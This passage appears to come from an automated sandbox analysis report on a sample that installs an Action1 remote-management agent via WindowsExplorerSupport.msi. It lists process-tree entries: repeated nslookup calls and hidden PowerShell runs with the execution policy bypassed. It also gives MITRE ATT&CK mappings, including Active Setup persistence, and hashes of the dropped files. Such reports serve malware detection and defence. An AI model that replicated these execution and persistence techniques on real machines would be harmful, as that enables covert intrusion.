    "C:\Windows\system32\nslookup.exe" 23.11.40.157
    3⤵
    PID:5204
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 52.178.17.235
    3⤵
    PID:1676
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 93.123.17.252
    3⤵
    PID:5840
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 134.33.4.16
    3⤵
    PID:3216
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 20.165.94.63
    3⤵
    PID:3928
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 20.165.94.63
    3⤵
    PID:4860
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 20.165.94.63
    3⤵
    PID:208
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 93.123.17.252
    3⤵
    PID:764
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.251.29.94
    3⤵
    PID:4952
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 93.123.17.252
    3⤵
    PID:4700
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 3.213.90.174
    3⤵
    PID:620
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 20.190.160.64
    3⤵
    PID:5572
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 20.190.160.14
    3⤵
    PID:4684
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 162.159.142.9
    3⤵
    PID:3472
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 20.190.160.14
    3⤵
    PID:720
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 162.159.142.9
    3⤵
    PID:1724
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 2.21.64.187
    3⤵
    PID:3160
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:5068
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:1484
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1304
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3028
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  PID:3516
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3844
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:5296
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  PID:1868
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3512
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  PID:1472
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:948
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1200
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4768
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2244
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4588
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3408
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\biaoflwp\biaoflwp.cmdline"
    3⤵
    PID:2364
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RESF902.tmp" "c:\Windows\Temp\biaoflwp\CSC96645990C42047FABCE151795C3CB9E2.TMP"
      4⤵
      PID:2116
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1984
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3256
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  PID:2964
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  PID:2604
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5816f1.rbs

Path C:\Config.Msi\e5816f1.rbs
Size 240KB
SHA256 c4a5b9261c0125d8339c0a613a281f3df858a95d25510068465073dbf7ce5830
MD5 e99ca63fd4ac10c15c8280418203849d
SHA1 dac0a8f8d653a6bd0af4960a3bbe2e5f73628739
SHA512 123b24183f176b056bd13972cd8e946005b67a379cdc6297640432c9a8de0d79f153a7e158e04ac8b1571781cee1614369aa77e78cc0bf22a1c4f24e5cf6dd69
SSDEEP 3072:hVXiqyhTO8W0iEa8LW0bEC9hvZpC01v+eUKflQnZl+T+J7g6EsNr7wyy/IP3B:nqhy8VKU3hvZUy+ppHEsuB/S
TLSH
T124348E217494547EEBFF0832953AD671AE3DF2380B90C56EC384581E6D618C1ABB7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e5816f2.rbs

Path C:\Config.Msi\e5816f2.rbs
Size 7KB
SHA256 a0bb41f431bc02f8816b0fe7a38abf5fb820fd62429a1bcbb2ecf88f79d59739
MD5 4ce37611b002f6d9903b21868fec6730
SHA1 fac1e84fedc8c992ff9eb32321c8d5987d6084a9
SHA512 1654c4976469fea90d3b5358ab4190aa3d8961e3c79840a371e90a0d4ebbf22e52d99ad803608786ece36a837da6c1b6900076710a5cf83f55e9bd2bd06bbdda
SSDEEP 192:z6LLejFuqUxIDUx2iof8XC3S6CxnwQnpvKgdE0OAK:z6uFdU+U8ioUSC6Cxnw6KgdE0OAK
TLSH
T13FE12242B26051E2EDAB1F32C74703657BB2EACA4304635B08CE95648F5735D6E853EE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Size 4KB
SHA256 0300e9ddb527990e8b59d06e9ccf3ec2bd92d3bbd0ef4fba69d6336e4195e82d
MD5 5f036f91e86e30f749961506951d51eb
SHA1 acb87b59117c6e2db86f98c4c8bac52eade97cd4
SHA512 341f250cf3764207b5328a12b31016c0750daddcd16722b4bcef502bcbef7ef379abb601649ee6c3fdf121f3d3cd6890c8a80e5dae3169fe56ef82af20631944
SSDEEP 96:Dbonzjs6o1BXl7EV4/sClywa3UHimRkISatmQFjm:Dbsns6KXxUrClywawinLatvFjm
TLSH
T100A19E44A75AEB61C331EBB6829B7B51033B6D20178468FAEFDAA1E1695B44C143C3C2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Size 342B
SHA256 d2d347372c8f0d44024244807394486c59aa666545de881b35ef1d9bf6172a8c
MD5 6bde64f23845e320bd906ce7e8495ec9
SHA1 37f3e0779dfd763782d7494407526f2c7a88c45f
SHA512 cf38120116d891f6dc6f0d4281648586a1799a4d6297ce458b0f4dc357c14c3a2e7f605ddfdf339cf0d86bfb37b02c725101cd494c309fc6d9390e08490bc72f
TLSH
T112E05E116BE80204F6770A3CA9736545997BB76B6A51CADD0275008D1C21F61C932B1D
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3c81cd173bb3c4f47d7e0fe21ff3dddc6617820498aebf3d3c4bba49835570d8
MD5 1791d490c3ff05541f3acfb2c3056e81
SHA1 9d720e0d8ca3014339f7999b711e0f9999472ff2
SHA512 8b4a59ed64750a3288f56b70fadd12f4f10e62646045088b66ed36725b6fdf7ee5f79aaa0c27983b15d3f57d22002d324e98d426172d785f5b4face94a83539a
TLSH
T174117637F39C8921CC96153A509EAC1176B683C741AEDF9F6FC4C215A1BF984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

AppCache134229649943967726.txt

Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache134229649943967726.txt
Size 81KB
SHA256 55c563be5f7bde26b387db6c04ada8fd188044e2399a1f075b37e2eca14d9b40
MD5 f9a275f890d22eb85d1e63c4f3311e74
SHA1 643d62b5c53ff1f28619b83f982f6c72e59bf6d2
SHA512 9ab18df15cb5aa8b80252d3d377aa7bdaae5c4dd6339ee7c9c3f11efc9c249b687d72d0bdf49648adf1fcd14b8e65582df3f2588d5fe80552ed9b417a6f75e44
SSDEEP 384:i/v8/n5U/ymL/aNU/gT2/Hl/M1/h8r/hJ/Zk/Ey/eX/MA/NV/CzS/1o/Yd/er/iG:vYGzozZeRxV1D
TLSH
T1C383A3A53281CBF3313966A0BCD9E435E13926B1E0A88F4561FA9617FC5ADDC62313D3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WindowsExplorerSupport.msi

Path C:\Users\Admin\AppData\Local\Temp\WindowsExplorerSupport.msi
Size 6.8MB
SHA256 85fe9a16fcdd7649957524acd94af7db2633964381f39da6cbabaac0c94c3b2d
MD5 80c0e4930b981b35901ae016b027ec46
SHA1 a299b490034d55363a5c644c02905f64aeafc00c
SHA512 1fd000828d6a40d75ccc1a29c1f1b84dc2cefd63045e1e4a55dd8d1b842c56f800673089accacd094ceb62d68a7a82ededd2891f61e07ae16e04e524a0264950
SSDEEP 196608:Nlc4PkbLPL3vyQay/d7O1hiMQUYjgWjJ8JLm:X7kD66kFbSgCJ4
TLSH
T1E1761220750E8C76C5EA363075799EBEDA38BD345B9487DB938339EE09311C052FEA52
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_blpzzluo.jzn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_blpzzluo.jzn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

action1_agent.exe

Path C:\Windows\Action1\action1_agent.exe
Size 8.9MB
SHA256 a003f6b6cb5f21efff1df7a5e77412acf72bb9a700bda3fdf381c23e87f1596a
MD5 8dcfb13a7efaa4dac8052271a41901bd
SHA1 9a4f9ec235879697c358cb150c325c40c13202ea
SHA512 132bcaf099fcf61cefea86b2d1a287b740f6028ed40e6b32834a0e1da442beb060349500b4d3377fd30a57b40cbf10326fbef53783a56b7d4406ae6cd2bfd3e8
SSDEEP 196608:c/2jrCN65p1/Dh4q9ssDDuPtGlw2AsU25oD9v2igoRh:cSlHxbu1XsU25Gx2fov
TLSH
T1A6969D21F6018135F9A301B29A7E8B6F853CBE30072459E7D3C8586E5AB15E33B37A57
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

advanced_settings.json

Path C:\Windows\Action1\advanced_settings.json
Size 47KB
SHA256 f82263eeeb357485ca12bad2444a93dd421fafb26e3220fe6b845538c011c661
MD5 68687de77b393538d6e014a88fda1a13
SHA1 00da45c53c341899181edf55e903e2f4bbec310c
SHA512 dfb267ed747b074c059f53dbdad0ab62fa7fe0d1158f0ecf1da6ba71f4f462257597fb6de36f791d3cfc97c4d8cf47437c94feddfe5302d608086271da4b0ccc
SSDEEP 768:oXKnbhRgjUzmSTRQ3Lyhx4ft32qUgw6/Fh8uP5K5DIK58EOKWbBoE3a+OQzGXSGC:DRoLECxiW5hp4flqGWf
TLSH
T148236B16E475ADB208C2188C5F8B5AF7DA4E019702D916DE871CEEFF89AF51C8102D9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

previousUser.txt

Path C:\Windows\Action1\previousUser.txt
Size 14B
SHA256 cee3786a4f80eb0bbea88842b9b20b7e6940e22129627beb47a54394fb7afcbf
MD5 5e3a621c42dddb508cd95fd4fefccb33
SHA1 2085c4801eabdf174796e7f6394a2598dcc4bcdc
SHA512 fd735aba52c48a7faa7afee0138766a204d0473fedcd631de083083760b944884fe68ce59581fac2d5e733c5dafe5ed2ca9de89cb575fb9f275678a2b39e57db
MD5 SHA1 SHA512

Submit Download

MSI55EB.tmp

Path C:\Windows\Installer\MSI55EB.tmp
Size 387KB
SHA256 9c9e30eb358167f2b7bc969508b14571ad3ff0610482b68683453e5d319a33cd
MD5 47d6f2030be16fd2cf1ee23f1d2271b5
SHA1 3a7cf9b3ef4a8d457a6f541b925e8aa736f247fa
SHA512 3e9eb9cb396dc1c0348eb7ec43c0e838c9f96a442a76107d13d175d6111c3d08fad737bbb4d263e9e7e033691df1d8a043b38b99fffa0a446b7f43d38f1b763b
SSDEEP 6144:QjVmAOn9DqwokBL+097OsOmceIpOaEPbyHi1O9IAFf:0mAOnRokBL17OsONeIshLAFf
TLSH
T1D7848C02B542C032D5AE05B0B535EFB5AABDA9704FB468DBB7D40E7B8D302C1A735A17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI5AB0.tmp

Path C:\Windows\Installer\MSI5AB0.tmp
Size 234KB
SHA256 78860e15e474cc2af7ad6e499a8971b6b8197afb8e49a1b9eaaa392e4378f3a5
MD5 8edc1557e9fc7f25f89ad384d01bcec4
SHA1 98e64d7f92b8254fe3f258e3238b9e0f033b5a9c
SHA512 d26c9dce3c3d17583ffb5dbcd3989f93b096a7f64a37a2701a474c1bf4b8c8b1e922c352d33f24e411f1c793e1b4af11a3aec1de489087d481b1b636df2050cd
SSDEEP 3072:5XiqyhTO8W0iEa8LW0bEC9hvZpC01v+eUKflQnZl+T+J7g6EsNr7wyy/IP3:5qhy8VKU3hvZUy+ppHEsuB/
TLSH
T159348D217494547EEBFF0832953AD671AE3DF2380B90C96EC384581E6D618C1A7B7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESF902.tmp

Path C:\Windows\TEMP\RESF902.tmp
Size 1KB
SHA256 309ddc7b80f31a792d72fa057d2fab46b41867f44d0d94d8a04694e07acefab9
MD5 1dafa3055f43d8d282f09c23c5204910
SHA1 abde3309ef329a8b1db1d925926be96a417bf166
SHA512 10c0a440cabed8ab3003548ed2c4cff0a258a3669dabcc74e67fd9a34a5b2caa81521ac336b015774344ab61cbb62418ec71072a57eca59b3122dcfc3e8c2fbf
TLSH
T198219E4553F8075AF0B3473078EA132B6238FD65EF71476B808412296C50510CE60EB2
MD5 SHA1 SHA512 TLSH

Submit Download

biaoflwp.dll

Path C:\Windows\TEMP\biaoflwp\biaoflwp.dll
Size 6KB
SHA256 fefcb86ad409bde6f5da10e4d78a8ceb7d82ee78d7d653b874391e5b8098a291
MD5 3a5b9adb6c214c1e0db329dd7fe4dd18
SHA1 ebfa964c9509e92fdfdd1201328985b53c8d0085
SHA512 cbebffada20f4d24aaf8c247e63f42f62e1518d1b509378f736d59f8d5906a544a5a75b2a6b33263597208e04a82fa417706abbeb15a0c3410690d085fb96e4d
SSDEEP 96:ncYXMnFNVvRxb9blw8NFQeTqkId3Zn6ng6CCT+7HU2K:nLMHTblw8UDJ3Zn6nfv67Ho
TLSH
T152D17415B7FC4214F9FB0B396AB302261EBABC595A33DB6E0981105E8D71B84AD60736
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Tmp68A9.tmp

Path C:\Windows\Temp\Tmp68A9.tmp
Size 1KB
SHA256 7b0c7b2534b7192950b926bb9f59220b371ade230f1dcc2bd59be54e793c93b7
MD5 7070fc31aa5f6b147dd002a55104f403
SHA1 5388276c9c76c3351c6f84b6abda7d613bc1cbcf
SHA512 553d4f532e535958418f51ea113913759892329410cc119e84366607c96bf6c483d8fd8602fbc1c1658242f05c7946244d2baf78f69664792f4a8517e7684987
TLSH
T1EA11DC955E637EBE34C7DF1D4AE94110E4340CB41BAB72C9092656404ED651937BE721
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 063bb7675f043bb4c1d78d5dc04801560331b0e430e7579d3a535740c539590f
MD5 a7e7cfd43d30bcc61251a5a230d79a7c
SHA1 0d5c054cc7a8a11b102ba68635e306799897ce28
SHA512 1fd8d7924a249fb3200dad3d5d9eda04b33f01bbb25579e71d541d6be97b0467338a28b0a8948223e357d6bf6b851f9fd9a2c38026002307ccf7a973f7ecbe83
TLSH
T1F251EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 14KB
SHA256 f580770326cba8573ad5dc332b372d324f63198d0701ac1a3006677961480fc8
MD5 544e496789a5a5fc8652bee12ae5ef40
SHA1 d68b454b59854275376c689e1060b7e7e01b312a
SHA512 cb1a34fd88f5c4312990b7128cf3c905e40b663647251f589279ff233423dac6b6bded066ee211153988462707e70e1c74fb59fc6afcb218e5350a013ac0702a
SSDEEP 384:9Gib4gVoGIpN6KQkj2ukjh4iUxzhQNujkOdB1NXp5dYoXYO:9lV3IpNBQkj2zh4iUxzhZjkOdB1NZXYu
TLSH
T12F62A583B7300EB1E1A96F7EA2A24511BD303E9580F4152252DCA5DF25879E1472F7BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 8ff32c0be04cd2af2b9cd5ddb61d74c94af99a9ebad6a57b0e4f3f7896ef7225
MD5 94cc8aa302136c58a17742da02e54c48
SHA1 06c269d1a0b648467cc627162d8c2a0727d94123
SHA512 7d06f705121fcfc8e5d84ab3c7b5a23343e0f5731931a279c2794eefdbb32222f2f3c812767bd05c20dcc2251bb24713351f47865bd9c70e9cdbd600d79292de
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 726d2b3a5003e478f61d3626a078477d2ce3caa24520bafefc1750edd68ef617
MD5 91bbf1113ed5ee5b5ca394415a183a07
SHA1 c3db7fead075105a6bc6ed8de9b206fd61c69aaf
SHA512 547e90736c71c0990eed9f24e071f4acbcb2d2fa99e0a13f70cb5d564c7ed084e78e631c8795e46778926118da82aec153bb6ab32439cb009a27153e5aeda1e4
TLSH
T16B218627B39C89A1CC86163A109D9C1076B393C7809ECFDF6BC4C600A0BF988CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d60ed4043bb3152d5affd55fd99ff7623b65d277548037b8a7bd9d7944d04d9b
MD5 3c57bee25f58bd10523d5187c97fbc65
SHA1 cafeb0cfd5f6a169e06bcf84108b930cc4731661
SHA512 fa5260e3cb8fa6072fe87f8a94b633774e1f69a13bbf41e5426b537e04047f9b702859c3e999a34dc20a4659ac8b0a93f304765149f46d01a1d48fcc4005643c
TLSH
T15431A82BB3AC8821CCD9163A209D9C1172B6C7C7808FCF9F6FC4D624957FA98CB21244
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b563ca9b2bfc56919b5a053b6a027c99f8ed18a3d663dd0dc5c6ef88fc2ffc57
MD5 1454b96cc33c216c8f18b1f38365c471
SHA1 4d482373225ed5063e30bc67cef80f1f3c2ab311
SHA512 d5e8de43ad29e59edd2325e4bee0dad25c4c68940108251b2e4338f2d16bbb42ae039403ac219a2c0a7ff81d1d68ce41fd79f043893d11acd513a5017e9dda1f
TLSH
T1B8218627B39C8921CC8A163A509D9C1176B697C7819FCFAF7FC4D600A4BF988CA21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d563c913a20a8ff6a2a96d48aeeb69cc4c37c7760980376829328bed75a653a9
MD5 078c6d44cb3c17f80fbfc27cbc3ed59d
SHA1 bdab3e4046e37101a09184403ea6fb6e1eaab306
SHA512 403ea5dc0a3fea815367d8b56e76e3bd2570de237b27d17339e42dc82a02d6f9b0b1d46296cbebd41fdfb0110e009113c6b007112f151c159b88b31a1f87d5c1
TLSH
T1E721862BB3ACC821CCC9113A109C9C1172B6C3C7808FCF9F6BC4D614957FA98CB61244
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5dbac0db9f0bfb6f71df058dce7e86983317512bc3c23e2c79c502f2458d2ad8
MD5 ba4be70982c0386dedea65120b9b17ba
SHA1 88e357b328f159a7117213305d60a2437de5ff43
SHA512 034cf2d66d229b8a53c032bcbba1faae5e1d5cd83833711a83bd2b339f073e09c0c2acbbb213ad4d4b8fb71f47d79c56b6119b608e87979c9a3e5c90cf586061
TLSH
T102218627B39C8921CC8A163A109D9C1177B693C7809FDFAF7FC4D600A4BF988CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9d618756e8e050eeda9f412174bd6ddcf7433508f5006c930d0d14537c9780b6
MD5 594da5c09a0a9535439cd8cfcbdd7a39
SHA1 2f045c9799a88cb75ba230c2bb79782ae04f9586
SHA512 34afa9dd958de729e5abab048c36d08cefc551b97f7d98b3b084580763e04380967eee87ae29a18c3ae2fdfb48038cba2b3f4c6243d7c16a516a127fb2efb223
TLSH
T12A21AA27B3DC8921CC86163A009D9C1172B2C7C7819F8F9FBFC4D514907F999CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0e0700992ea4e1bfb76f70f33e9d8ae3a238a122041cc361561e63be26d4bbf1
MD5 c8ac278dd0b77efef1f16e15dbff8f88
SHA1 075b759b37b8bdf168ef536d5ab622450785b86e
SHA512 3455273449fa9a922f5f5a5e4be35b7376b82024bd859ec344386216ad4572274acc9bff5b9117ff02a10825357ff9cdf987beae8a36e746c0d9b7dfd9bf087c
TLSH
T116215627B39C8921CC9A163A109D9C1176B683C7819EDFAF7FC4D614A07F998CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

